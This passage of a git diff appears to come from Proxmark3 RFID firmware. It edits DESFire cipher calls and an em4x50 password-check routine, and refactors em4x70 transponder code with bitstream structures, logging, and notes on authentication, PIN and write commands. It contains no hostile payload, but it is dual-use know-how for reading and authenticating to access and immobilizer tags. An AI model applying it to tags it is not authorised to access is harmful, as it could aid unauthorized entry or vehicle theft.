MCO_ENCYPHER: + case MCO_ENCYPHER: { mbedtls_des3_set3key_enc(&ctx3, key->data); mbedtls_des3_crypt_ecb(&ctx3, data, edata); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_DECRYPT); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks3), DES_ENCRYPT); break; - case MCO_DECYPHER: + } + case MCO_DECYPHER: { mbedtls_des3_set3key_dec(&ctx3, key->data); mbedtls_des3_crypt_ecb(&ctx3, data, edata); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks3), DES_DECRYPT); // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_ENCRYPT); // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); break; + } } break; - case T_AES: + } + case T_AES: { switch (operation) { case MCO_ENCYPHER: { mbedtls_aes_init(&actx); mbedtls_aes_setkey_enc(&actx, key->data, 128); - mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, sizeof(edata), ivect, data, edata); + mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_ENCRYPT, data, edata); break; } case MCO_DECYPHER: { mbedtls_aes_init(&actx); mbedtls_aes_setkey_dec(&actx, key->data, 128); - mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_DECRYPT, sizeof(edata), ivect, edata, data); + mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_DECRYPT, data, edata); break; } } break; + } } memcpy(data, edata, block_size); @@ -870,7 +913,7 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, if (direction == MCD_SEND) { memcpy(ivect, data, block_size); } else { - xor(ivect, data, block_size); + xor(data, ivect, block_size); memcpy(ivect, ovect, block_size); } } diff --git a/armsrc/desfire_crypto.h b/armsrc/desfire_crypto.h index 9e0a875b3..10a15fbf9 100644 --- a/armsrc/desfire_crypto.h +++ b/armsrc/desfire_crypto.h @@ -177,13 +177,13 @@ struct desfire_tag { typedef struct desfire_tag *desfiretag_t; void des_encrypt(void *out, const void *in, const void *key); void des_decrypt(void *out, const void *in, const void *key); -void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode); -void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode); +void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode); +void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode); void aes128_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]); void aes128_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]); -void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key); +void Desfire_des_key_new(const uint8_t *value, desfirekey_t key); void Desfire_3des_key_new(const uint8_t value[16], desfirekey_t key); void Desfire_des_key_new_with_version(const uint8_t value[8], desfirekey_t key); void Desfire_3des_key_new_with_version(const uint8_t value[16], desfirekey_t key); @@ -207,4 +207,6 @@ size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int c void cmac_generate_subkeys(desfirekey_t key); void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac); +size_t key_macing_length(desfirekey_t key); + #endif diff --git a/armsrc/em4x50.c b/armsrc/em4x50.c index 16a709577..8de00ccae 100644 --- a/armsrc/em4x50.c +++ b/armsrc/em4x50.c @@ -129,9 +129,9 @@ static bool extract_parities(uint64_t word, uint32_t *data) { } } - if ((row_parities == row_parities_calculated) && (col_parities == col_parities_calculated)) + if ((row_parities == row_parities_calculated) && (col_parities == col_parities_calculated)) { return true; - + } return false; } @@ -748,7 +748,7 @@ void em4x50_chk(const char *filename, bool ledcontrol) { uint16_t pwd_count = 0; uint32_t size = size_in_spiffs(filename); pwd_count = size / 4; - uint8_t *pwds = BigBuf_malloc(size); + uint8_t *pwds = BigBuf_calloc(size); rdv40_spiffs_read_as_filetype(filename, pwds, size, RDV40_SPIFFS_SAFETY_SAFE); diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 547ce5ce2..ca56a8c2a 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -25,14 +25,33 @@ #include "em4x70.h" #include "appmain.h" // tear -static em4x70_tag_t tag = { 0 }; +// Set debug level via client, e.g.: `hw dbg -4` +// For development, can force all the logging at compilation time by setting this to `true` +#define FORCE_ENABLE_LOGGING (false) +// Define debug macros that efficiently avoid formatting the strings +// if the debug level is not high enough. Avoids rewriting the same +// checks like `if (g_dbglevel >= DBG_ERROR)` throughout the code, +// improving readability. On the downside, it does require double-parentheses +// because of the limitations of the C preprocessor (until C23). +// +// Example usage: +// DPRINTF_ERROR(("Error: %d", error_code)); +// DPRINTF_EXTENDED(("Bitstream: %s", bitstream_as_string)); +#define DPRINTF_ALWAYS(x) do { Dbprintf x ; } while (0); +#define DPRINTF_ERROR(x) do { if ((FORCE_ENABLE_LOGGING) || (g_dbglevel >= DBG_ERROR )) { Dbprintf x ; } } while (0); +#define DPRINTF_INFO(x) do { if ((FORCE_ENABLE_LOGGING) || (g_dbglevel >= DBG_INFO )) { Dbprintf x ; } } while (0); +#define DPRINTF_DEBUG(x) do { if ((FORCE_ENABLE_LOGGING) || (g_dbglevel >= DBG_DEBUG )) { Dbprintf x ; } } while (0); +#define DPRINTF_EXTENDED(x) do { if ((FORCE_ENABLE_LOGGING) || (g_dbglevel >= DBG_EXTENDED)) { Dbprintf x ; } } while (0); +#define DPRINTF_PROLIX(x) do { if ((FORCE_ENABLE_LOGGING) || (g_dbglevel > DBG_EXTENDED)) { Dbprintf x ; } } while (0); // EM4170 requires a parity bit on commands, other variants do not. -static bool command_parity = true; +static bool g_deprecated_command_parity = false; +static em4x70_tag_t g_tag = { 0 }; + #if 1 // Calculation of ticks for timing functions -// Conversion from Ticks to RF periods +// Nearly every calculation is done in terms of Field Codes (FC) aka RF periods // 1 us = 1.5 ticks // 1RF Period = 8us = 12 Ticks #define TICKS_PER_FC 12 @@ -52,14 +71,18 @@ static bool command_parity = true; #define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW #define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this -#define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window -#define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods) -#define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command -#define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command +#define EM4X70_T_DELAY_FROM_LIW_TO_RM (72 * TICKS_PER_FC) // Default delay from finding LIW until start sending RM bits + +#define EM4X70_T_PULSES_TO_SEARCH_FOR_LIW 50 // Pulses to wait for listen window +#define EM4X70_T_PULSES_TO_SEARCH_FOR_HEADER_TRANSITION 16 // Read header length (16 bit periods), wait that many pulses to find transition from the 12x `1` to 4x `0` + +#define EM4X70_COMMAND_LIW_SEARCH_RETRIES 5 // Attempts to send/read command +#define EM4X70_MAX_SEND_BITCOUNT 96u // Authentication == CMD(4) + NONCE(56) + DIVERGENCY(7) + FRND(28) == 6 + 56 + 35 == 56 + 41 == 95 bits (NOTE: RM(2) is handled as part of LIW detection) +#define EM4X70_MAX_RECEIVE_BITCOUNT 64u // Maximum bits to receive in response to any command (NOTE: This is EXCLUDING the 16-bit header of 0b1111'1111'1111'0000) #endif // Calculation of ticks for timing functions -#if 1 // EM4x70 Command IDs +#if 1 // EM4x70 Command IDs and notes /** * These IDs are from the EM4170 datasheet. * Some versions of the chip require a @@ -67,12 +90,114 @@ static bool command_parity = true; * The command is thus stored only in the * three least significant bits (mask 0x07). */ -#define EM4X70_COMMAND_ID 0x01 -#define EM4X70_COMMAND_UM1 0x02 -#define EM4X70_COMMAND_AUTH 0x03 -#define EM4X70_COMMAND_PIN 0x04 -#define EM4X70_COMMAND_WRITE 0x05 -#define EM4X70_COMMAND_UM2 0x07 +// // w/o parity with parity +#define EM4X70_COMMAND_ID 0x01 // 0b0001 --> 0b001'1 +#define EM4X70_COMMAND_UM1 0x02 // 0b0010 --> 0b010'1 +#define EM4X70_COMMAND_AUTH 0x03 // 0b0011 --> 0b011'0 +#define EM4X70_COMMAND_PIN 0x04 // 0b0100 --> 0b100'1 +#define EM4X70_COMMAND_WRITE 0x05 // 0b0101 --> 0b101'0 +#define EM4X70_COMMAND_UM2 0x07 // 0b0111 --> 0b111'1 + +// Command behaviors and bit counts for each direction: +// +// The command IDs and behaviors are the same for both EM4170 and V4070/EM4070, +// However, V4070/EM4070 does not support sending a PIN, reading UM2, and WRITE +// is limited to block 0..9 (other blocks don't exist). +// NOTE: It's possible that original V4070/EM4070 tags may have been manufactured +// with all ten blocks being OTP (one-time-programmable)? +// +// There are only 6 commands in total. +// Each of the six commands has two variants (i.e., with and w/o command parity). +// +// Four of the commands send a predetermined bitstream, immediately synchronize +// on the tag sending the header, and then receive a number of bits from the tag: +// +// #define EM4X70_COMMAND_ID 0x01 // 0b0001 --> 0b001'1 +// Tag: [LIW] [Header][ID31..ID0][LIW] +// Reader: [RM][Command] +// Bits Sent: RM + 4 bits +// Bits Recv: Header + 32 bits +// +// #define EM4X70_COMMAND_UM1 0x02 // 0b0010 --> 0b010'1 +// Tag: [LIW] [Header][LB1, LB0, UM129..UM10][LIW] +// Reader: [RM][Command] +// Bits Sent: RM + 4 bits +// Bits Recv: Header + 32 bits +// +// #define EM4X70_COMMAND_UM2 0x07 // 0b0111 --> 0b111'1 +// Tag: [LIW] [Header][UM263..UM20][LIW] +// Reader: [RM][Command] +// Bits Sent: RM + 4 bits +// Bits Recv: Header + 64 bits +// +// #define EM4X70_COMMAND_AUTH 0x03 // 0b0011 --> 0b011'0 +// Tag: [LIW] [Header][g(RN)19..RN0][LIW] +// Reader: [RM][Command][N55..N0][0000000][f(RN)27..f(RN)0] +// Bits Sent: RM + 95 bits +// Bits Recv: Header + 20 bits +// +// The SEND_PIN command requires the tag ID to be retrieved first, +// then can sends a predetermined bitstream. Unlike the above, there +// is then a wait time before the tag sends a first ACK. Then a second +// wait time before synchronizing on the tag sending the header, and +// receive a number of bits from the tag: +// +// #define EM4X70_COMMAND_PIN 0x04 // 0b0100 --> 0b100'1 +// Tag: [LIW] .. [ACK] .. [Header][ID31..ID0][LIW] +// Reader: [RM][Command][ID31..ID0][Pin31..Pin0] .. .. +// Bits Sent: RM + 68 bits +// Bits Recv: Header + 32 bits +// +// The WRITE command, given an address to write (A) and 16 bits of data (D), +// sends a predetermined bitstream. Unlike the four basic commands, there +// is then a wait time before the tag sends a first ACK, and then a second +// wait time before the tag sends a second ACK. No data is received from +// the tag ... just the two ACKs. +// +// #define EM4X70_COMMAND_WRITE 0x05 // 0b0101 --> 0b101'0 +// Tag: [LIW] .. [ACK] .. [ACK][LIW] +// Reader: [RM][Command][A3..A0,Ap][Data5x5] .. .. +// Bits Sent: RM + 34 bits +// Bits Recv: !!!!!!!! NONE !!!!!!!! +// +// Thus, only need to define three sequences of interaction with the tag. +// Moreover, the reader can pre-generate its entire bitstream before any bits are sent. + +// Validation of newly-written data depends on the block(s) written: +// * UM1 -- Read UM1 from the tag +// * ID -- Read ID from the tag +// * UM2 -- Read UM2 from the tag +// * KEY -- attempt authentication with the new key +// * PIN -- unlock the tag using the new PIN +// TODO: Determine if sending PIN will report success, even if the tag is already unlocked? + +// Auto-detect tag variant and command parity? +// EM4070/V4070 does not contain UM2 or PIN, and UM1 may be OTP (one-time programmable) +// EM4170 added Pin and UM2, and UM1 +// +// Thus, to check for overlap, need only check the first three commands with parity: +// | CMD | P? | Bits | Safe? | Overlaps With | Notes +// |-------|-----|----------|-------|------------------|------------ +// | ID | No | `0b0001` | Yes | None! | Safe ... indicates no parity if successful +// | UM1 | No | `0b0010` | Yes | None! | Safe ... indicates no parity if successful +// | AUTH | No | `0b0011` | Yes | ID w/parity | cannot test for no-parity, but safe to try ID w/parity +// | WRITE | No | `0b0101` | NO | | DO NOT USE ... just in case +// | PIN | No | `0b0100` | N/A | | DO NOT USE ... just in case +// | UM2 | No | `0b0111` | Yes | None! | Safe ... indicates no parity AND EM4170 tag type +// | ID | Yes | `0b0011` | Yes | Auth w/o Parity | Safe to try ... indicates parity if successful +// | UM1 | Yes | `0b0101` | Yes | Write w/o Parity | +// | AUTH | Yes | `0b0110` | Yes | None! | Not testable +// | WRITE | Yes | `0b1010` | NO | None! | DO NOT USE ... just in case +// | PIN | Yes | `0b1001` | N/A | None! | DO NOT USE ... just in case +// | UM2 | Yes | `0b1111` | Yes | None! | Safe ... indicates parity AND EM4170 tag type +// +// Thus, the following sequence of commands should auto-detect both the type of tag, +// as well as whether it requires command parity or not: +// 1. If UM2 w/o parity -- If successful, command parity is NOT required, Type is EM4170 +// 2. Elif UM2 with parity -- If successful, command parity IS required, Type is EM4170 +// 3. Elif ID w/o parity -- If successful, command parity is NOT required, Type is EM4070/V4070 +// 4. Elif ID with parity -- If successful, command parity IS required, Type is EM4070/V4070 +// 5. Else -- Error ... no tag or other error? #endif // EM4x70 Command IDs // Constants used to determine high/low state of signal @@ -93,7 +218,7 @@ static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read); static bool find_listen_window(bool command); static void init_tag(void) { - memset(tag.data, 0x00, sizeof(tag.data)); + memset(g_tag.data, 0x00, sizeof(g_tag.data)); } static void em4x70_setup_read(void) { @@ -220,10 +345,106 @@ static bool check_pulse_length(uint32_t pulse_tick_length, uint32_t target_tick_ (pulse_tick_length <= (target_tick_length + EM4X70_T_TAG_TOLERANCE))); } +#if 1 // brute force logging of sent buffer + +// e.g., authenticate sends 93 bits (2x RM, 56x rnd, 7x div, 28x frnd) == 2+56+35 = 58+35 = 93 +// NOTE: unlike the bitstream functions, the logs include sending of the two `RM` bits +#define EM4X70_MAX_LOG_BITS MAX(2u + EM4X70_MAX_SEND_BITCOUNT, 16u + EM4X70_MAX_RECEIVE_BITCOUNT) + +typedef struct _em4x70_log_t { + uint32_t start_tick; + uint32_t end_tick; + uint32_t bits_used; + uint8_t bit[EM4X70_MAX_LOG_BITS]; // one bit per byte +} em4x70_sublog_t; +typedef struct _em4x70_transmit_log_t { + em4x70_sublog_t transmit; + em4x70_sublog_t receive; +} em4x70_transmitted_data_log_t; +em4x70_transmitted_data_log_t g_not_used_directly; // change to bigbuff allocation? +em4x70_transmitted_data_log_t *g_Log = &g_not_used_directly; +static void log_reset(void) { + if (g_Log != NULL) { + memset(g_Log, 0, sizeof(em4x70_transmitted_data_log_t)); + } +} +static void log_dump_helper(em4x70_sublog_t *part, bool is_transmit) { + if (g_dbglevel >= DBG_INFO || FORCE_ENABLE_LOGGING) { + char const *const direction = is_transmit ? "sent >>>" : "recv <<<"; + if (part->bits_used == 0) { + DPRINTF_EXTENDED(("%s: no data", direction)); + } else { + char bitstring[EM4X70_MAX_LOG_BITS + 1]; + memset(bitstring, 0, sizeof(bitstring)); + for (int i = 0; i < part->bits_used; i++) { + bitstring[i] = part->bit[i] ? '1' : '0'; + } + DPRINTF_EXTENDED(( + "%s: [ %8d .. %8d ] ( %6d ) %2d bits: %s", + direction, + part->start_tick, part->end_tick, + part->end_tick - part->start_tick, + part->bits_used, bitstring + )); + } + } +} +static void log_dump(void) { + if (g_dbglevel >= DBG_INFO || FORCE_ENABLE_LOGGING) { + bool hasContent = false; + if (g_Log != NULL) { + uint8_t *check_for_data = (uint8_t *)g_Log; + for (size_t i = 0; i < sizeof(em4x70_transmitted_data_log_t); ++i) { + if (check_for_data[i] != 0) { + hasContent = true; + break; + } + } + } + if (hasContent) { + log_dump_helper(&g_Log->transmit, true); + log_dump_helper(&g_Log->receive, false); + } + } +} +static void log_sent_bit(uint32_t start_tick, bool bit) { + if (g_Log != NULL) { + if (g_Log->transmit.bits_used == 0) { + g_Log->transmit.start_tick = start_tick; + } + g_Log->transmit.bit[g_Log->transmit.bits_used] = bit; + g_Log->transmit.bits_used++; + } +} +static void log_sent_bit_end(uint32_t end_tick) { + if (g_Log != NULL) { + g_Log->transmit.end_tick = end_tick; + } +} +static void log_received_bit_start(uint32_t start_tick) { + if (g_Log != NULL && g_Log->receive.start_tick == 0) { + g_Log->receive.start_tick = start_tick; + } +} +static void log_received_bit_end(uint32_t end_tick) { + if (g_Log != NULL) { + g_Log->receive.end_tick = end_tick; + } +} +static void log_received_bits(uint8_t *byte_per_bit_array, size_t array_element_count) { + if (g_Log != NULL) { + memcpy(&g_Log->receive.bit[g_Log->receive.bits_used], byte_per_bit_array, array_element_count); + g_Log->receive.bits_used += array_element_count; + } +} +#endif // brute force logging of sent buffer + +// This is the only function that actually toggles modulation for sending bits static void em4x70_send_bit(bool bit) { // send single bit according to EM4170 application note and datasheet uint32_t start_ticks = GetTicks(); + log_sent_bit(start_ticks, bit); if (bit == 0) { @@ -246,63 +467,11 @@ static void em4x70_send_bit(bool bit) { LOW(GPIO_SSC_DOUT); while (TICKS_ELAPSED(start_ticks) <= EM4X70_T_TAG_FULL_PERIOD); } + log_sent_bit_end(GetTicks()); } -/** - * em4x70_send_nibble - * - * sends 4 bits of data + 1 bit of parity (with_parity) - * - */ -static void em4x70_send_nibble(uint8_t nibble, bool with_parity) { - int parity = 0; - int msb_bit = 0; - - // Non automotive EM4x70 based tags are 3 bits + 1 parity. - // So drop the MSB and send a parity bit instead after the command - if (command_parity) - msb_bit = 1; - - for (int i = msb_bit; i < 4; i++) { - int bit = (nibble >> (3 - i)) & 1; - em4x70_send_bit(bit); - parity ^= bit; - } - - if (with_parity) - em4x70_send_bit(parity); -} - -static void em4x70_send_byte(uint8_t byte) { - // Send byte msb first - for (int i = 0; i < 8; i++) - em4x70_send_bit((byte >> (7 - i)) & 1); -} - -static void em4x70_send_word(const uint16_t word) { - - // Split into nibbles - uint8_t nibbles[4]; - uint8_t j = 0; - for (int i = 0; i < 2; i++) { - uint8_t byte = (word >> (8 * i)) & 0xff; - nibbles[j++] = (byte >> 4) & 0xf; - nibbles[j++] = byte & 0xf; - } - - // send 16 bit word with parity bits according to EM4x70 datasheet - // sent as 4 x nibbles (4 bits + parity) - for (int i = 0; i < 4; i++) { - em4x70_send_nibble(nibbles[i], true); - } - - // send column parities (4 bit) - em4x70_send_nibble(nibbles[0] ^ nibbles[1] ^ nibbles[2] ^ nibbles[3], false); - - // send final stop bit (always "0") - em4x70_send_bit(0); -} - +// TODO: Add similar function that will wait for an ACK/NAK up to a given timeout. +// This will allow for more flexibile handling of tag timing in the response. static bool check_ack(void) { // returns true if signal structue corresponds to ACK, anything else is // counted as NAK (-> false) @@ -318,49 +487,617 @@ static bool check_ack(void) { return false; } -// TODO: define and use structs for rnd, frnd, response -static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *response) { +#if 1 // #pragma region // Bitstream structures / enumerations +#define EM4X70_MAX_BITSTREAM_BITS MAX(EM4X70_MAX_SEND_BITCOUNT, EM4X70_MAX_RECEIVE_BITCOUNT) - if (find_listen_window(true)) { +// _Static_assert(EM4X70_MAX_SEND_BITCOUNT <= 255, "EM4X70_MAX_SEND_BITCOUNT must fit in uint8_t"); +// _Static_assert(EM4X70_MAX_RECEIVE_BITCOUNT <= 255, "EM4X70_MAX_RECEIVE_BITCOUNT must fit in uint8_t"); - em4x70_send_nibble(EM4X70_COMMAND_AUTH, true); +typedef struct _em4x70_bitstream_t { + // For sending, this is the number of bits to send + // For receiving, this is the number of bits expected from tag + uint8_t bitcount; + // each bit is stored as a uint8_t, storing a single bit as 0 or 1 + // this avoids bit-shifting in potentially timing-sensitive code, + // and ensures the simplest possible code for sending and receiving. + uint8_t one_bit_per_byte[EM4X70_MAX_BITSTREAM_BITS]; +} em4x70_bitstream_t; +typedef struct _em4x70_command_bitstream { + uint8_t command; // three-bit value that is encoded as the command ... used to select function to handle sending/receiving data + em4x70_bitstream_t to_send; + em4x70_bitstream_t to_receive; + // Note: Bits are stored in reverse order from transmission + // As a result, the first bit from one_bit_per_byte[0] + // ends up as the least significant bit of the LAST + // byte written. E.g., if receiving 20 bit g(rn), + // converted_to_bytes[0] will have bits: GRN03..GRN00 0 0 0 0 + // converted_to_bytes[1] will have bits: GRN11..GRN04 + // converted_to_bytes[2] will have bits: GRN19..GRN12 + // Which when treated as a 24-bit value stored little-endian, is: + // g(rn) << 8u + // This is based on how the existing code worked. + uint8_t received_data_converted_to_bytes[(EM4X70_MAX_BITSTREAM_BITS / 8) + (EM4X70_MAX_BITSTREAM_BITS % 8 ? 1 : 0)]; +} em4x70_command_bitstream_t; - // Send 56-bit Random number - for (int i = 0; i < 7; i++) { - em4x70_send_byte(rnd[i]); +typedef bool (*bitstream_command_generator_id_t)(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity); +typedef bool (*bitstream_command_generator_um1_t)(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity); +typedef bool (*bitstream_command_generator_um2_t)(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity); +typedef bool (*bitstream_command_generator_auth_t)(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity, const uint8_t *rnd, const uint8_t *frnd); +typedef bool (*bitstream_command_generator_pin_t)(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity, const uint8_t *tag_id, const uint32_t pin_little_endian); +typedef bool (*bitstream_command_generator_write_t)(em4x70_command_bitstream_t *out_cmd_bitstream, bool with_command_parity, uint16_t data_little_endian, uint8_t address); + +typedef struct _em4x70_command_generators_t { + bitstream_command_generator_id_t id; + bitstream_command_generator_um1_t um1; + bitstream_command_generator_um2_t um2; + bitstream_command_generator_auth_t auth; + bitstream_command_generator_pin_t pin; + bitstream_command_generator_write_t write; +} em4x70_command_generators_t; + +#endif // #pragma endregion // Bitstream structures / enumerations +#if 1 // #pragma region // Functions to dump bitstreams to debug output +static void bitstream_dump_helper(const em4x70_bitstream_t *bitstream, bool is_transmit) { + // mimic the log's output format to make comparisons easier + char const *const direction = is_transmit ? "sent >>>" : "recv <<<"; + if (bitstream->bitcount == 0) { + if (g_dbglevel >= DBG_INFO || true) { + DPRINTF_EXTENDED(("%s: no data", direction)); + } + } else if (bitstream->bitcount > 0xFEu) { + DPRINTF_ERROR(("INTERNAL ERROR: Too many bits to dump: %d", bitstream->bitcount)); + } else { + char bitstring[EM4X70_MAX_BITSTREAM_BITS + 1]; + memset(bitstring, 0, sizeof(bitstring)); + for (uint16_t i = 0; i < bitstream->bitcount; ++i) { + bitstring[i] = bitstream->one_bit_per_byte[i] ? '1' : '0'; + } + DPRINTF_EXTENDED(( + "%s: [ %8d .. %8d ] ( %6d ) %2d bits: %s%s", + direction, + 0, 0, 0, + bitstream->bitcount + (is_transmit ? 2u : 0u), // add the two RM bits to transmitted data + is_transmit ? "00" : "", // add the two RM bits to transmitted data + bitstring + )); + } +} +static void bitstream_dump(const em4x70_command_bitstream_t *cmd_bitstream) { + bitstream_dump_helper(&cmd_bitstream->to_send, true); + bitstream_dump_helper(&cmd_bitstream->to_receive, false); +} +#endif // #pragma region // Functions to dump bitstreams to debug output +#if 1 // #pragma region // Functions to send bitstreams, with options to receive data + +/// @brief Internal function to send a bitstream to the tag. +/// @details This function presumes a validated structure, and sends the bitstream without delays, to support timing-sensitive operations. +/// @param send The details on the bitstream to send to the tag. +/// @return +static bool send_bitstream_internal(const em4x70_bitstream_t *send) { + // similar to original send_command_and_read, but using provided bitstream + int retries = EM4X70_COMMAND_LIW_SEARCH_RETRIES; // only retries finding the LIW ... not the actual command + + // TIMING SENSITIVE FUNCTION ... Minimize delays after finding the listen window + while (retries) { + const uint8_t *s = send->one_bit_per_byte; + uint8_t sent = 0; + retries--; + if (find_listen_window(true)) { // `true` will automatically send the two `RM` zero bits + // TIMING SENSITIVE SECTION + do { + em4x70_send_bit(*s); + s++; + sent++; + } while (sent < send->bitcount); + return true; + // TIMING SENSITIVE SECTION + } + } + return false; +} +/// @brief Internal function to send a bitstream to the tag, and immediately read response data. +/// @param send Bitstream to be sent to the tag +/// @param recv Buffer to store received data from the tag. +/// `recv->expected_bitcount` must be initialized to indicate expected bits to receive from the tag. +/// @return true only if the bitstream was sent and the expected count of bits were received from the tag. +static bool send_bitstream_and_read(em4x70_command_bitstream_t *command_bitstream) { + const em4x70_bitstream_t *send = &command_bitstream->to_send; + em4x70_bitstream_t *recv = &command_bitstream->to_receive; + + // Validate the parameters before proceeding + bool parameters_valid = true; + uint8_t bits_to_decode; + do { + if (command_bitstream->command == 0) { + DPRINTF_ERROR(("No command specified -- coding error?")); + parameters_valid = false; + bits_to_decode = 0; + } else if ( + (command_bitstream->command == EM4X70_COMMAND_ID) || + (command_bitstream->command == EM4X70_COMMAND_UM1) || + (command_bitstream->command == EM4X70_COMMAND_UM2) || + (command_bitstream->command == EM4X70_COMMAND_AUTH) + ) { + // These are the four commands that are supported by this function. + // Allow these to proceed. + } else { + DPRINTF_ERROR(("Unknown command: 0x%x (%d)", command_bitstream->command, command_bitstream->command)); + parameters_valid = false; + bits_to_decode = 0; } - // Send 7 x 0's (Diversity bits) - for (int i = 0; i < 7; i++) { - em4x70_send_bit(0); + if (send->bitcount == 0) { + DPRINTF_ERROR(("No bits to send -- coding error?")); + parameters_valid = false; + bits_to_decode = 0; + } else if (send->bitcount > EM4X70_MAX_SEND_BITCOUNT) { + DPRINTF_ERROR(("Too many bits to send -- coding error? %d", send->bitcount)); + parameters_valid = false; + bits_to_decode = 0; } - - // Send 28-bit f(RN) - - // Send first 24 bits - for (int i = 0; i < 3; i++) { - em4x70_send_byte(frnd[i]); + if (recv->bitcount == 0) { + DPRINTF_ERROR(("No bits to receive -- coding error?")); + parameters_valid = false; + bits_to_decode = 0; + } else if (recv->bitcount > EM4X70_MAX_RECEIVE_BITCOUNT) { + DPRINTF_ERROR(("Too many bits to receive -- coding error? %d", recv->bitcount)); + parameters_valid = false; + bits_to_decode = 0; + } else if (recv->bitcount % 8u != 0u) { + // AUTH command receives 20 bits. Existing code treated this "as if" tag sent 24 bits. + // Keep this behavior to minimize the changes to both ARM and client code bases. + bits_to_decode = ((recv->bitcount / 8u) + 1u) * 8u; // round up to nearest byte multiple + // _Static_assert(EM4X70_MAX_RECEIVE_BITCOUNT <= (UINT8_MAX - (UINT8_MAX % 8u)), "EM4X70_MAX_RECEIVE_BITCOUNT too large to safely round up within a uint8_t?"); + // No static assertion, so do this at runtime + if (bits_to_decode > EM4X70_MAX_RECEIVE_BITCOUNT) { + DPRINTF_ERROR(("Too many bits to decode after adjusting to nearest byte multiple -- coding error? %d --> %d (max %d)", recv->bitcount, bits_to_decode, EM4X70_MAX_RECEIVE_BITCOUNT)); + parameters_valid = false; + } else { + DPRINTF_PROLIX(("Note: will receive %d bits, but decode as %d bits", recv->bitcount)); + } + } else { + // Valid number of bits expected, and an integral multiple of 8 bits ... so decode exactly what was received + bits_to_decode = recv->bitcount; } - - // Send last 4 bits (no parity) - em4x70_send_nibble((frnd[3] >> 4) & 0xf, false); - - // Receive header, 20-bit g(RN), LIW - uint8_t grnd[EM4X70_MAX_RECEIVE_LENGTH] = {0}; - int num = em4x70_receive(grnd, 20); - if (num < 20) { - if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed"); - return PM3_ESOFT; - } - // although only received 20 bits - // ask for 24 bits converted because - // this utility function requires - // decoding in multiples of 8 bits - encoded_bit_array_to_bytes(grnd, 24, response); - return PM3_SUCCESS; + } while (0); + // early return when parameter validation fails + if (!parameters_valid) { + return false; } - return PM3_ESOFT; + + // similar to original send_command_and_read, but using provided bitstream + int bits_received = 0; + + // NOTE: reset of log does not track the time first bit is sent. That occurs + // when the first sent bit is recorded in the log. + log_reset(); + + // TIMING SENSITIVE SECTION + if (send_bitstream_internal(send)) { + bits_received = em4x70_receive(recv->one_bit_per_byte, recv->bitcount); + } + // END OF TIMING SENSITIVE SECTION + + // Convert the received bits into byte array (bits are received in reverse order ... this simplifies reasoning / debugging) + bool result = (bits_received == recv->bitcount); + + // output errors via debug prints and dump log as appropriate + encoded_bit_array_to_bytes(recv->one_bit_per_byte, bits_to_decode, command_bitstream->received_data_converted_to_bytes); + log_dump(); + bitstream_dump(command_bitstream); + if (bits_received == 0) { + DPRINTF_INFO(("No bits received -- tag may not be present?")); + } else if (bits_received < recv->bitcount) { + DPRINTF_INFO(("Invalid data received length: %d, expected %d", bits_received, recv->bitcount)); + } else if (bits_received != recv->bitcount) { + DPRINTF_INFO(("INTERNAL ERROR: Expected %d bits, received %d bits (more than maximum allowed)", recv->bitcount, bits_received)); + } + + // finally return the result of the operation + return result; +} +static bool send_bitstream_wait_ack_wait_read(em4x70_command_bitstream_t *command_bitstream) { + const em4x70_bitstream_t *send = &command_bitstream->to_send; + em4x70_bitstream_t *recv = &command_bitstream->to_receive; + + // Validate the parameters before proceeding + bool parameters_valid = true; + do { + if (command_bitstream->command == 0) { + DPRINTF_ERROR(("No command specified -- coding error?")); + parameters_valid = false; + } else if (command_bitstream->command != EM4X70_COMMAND_PIN) { + DPRINTF_ERROR(("Unexpected command (only supports PIN): 0x%x (%d)", command_bitstream->command, command_bitstream->command)); + parameters_valid = false; + } + + if (send->bitcount == 0) { + DPRINTF_ERROR(("No bits to send -- coding error?")); + parameters_valid = false; + } else if (send->bitcount > EM4X70_MAX_SEND_BITCOUNT) { + DPRINTF_ERROR(("Too many bits to send -- coding error? %d", send->bitcount)); + parameters_valid = false; + } + if (recv->bitcount == 0) { + 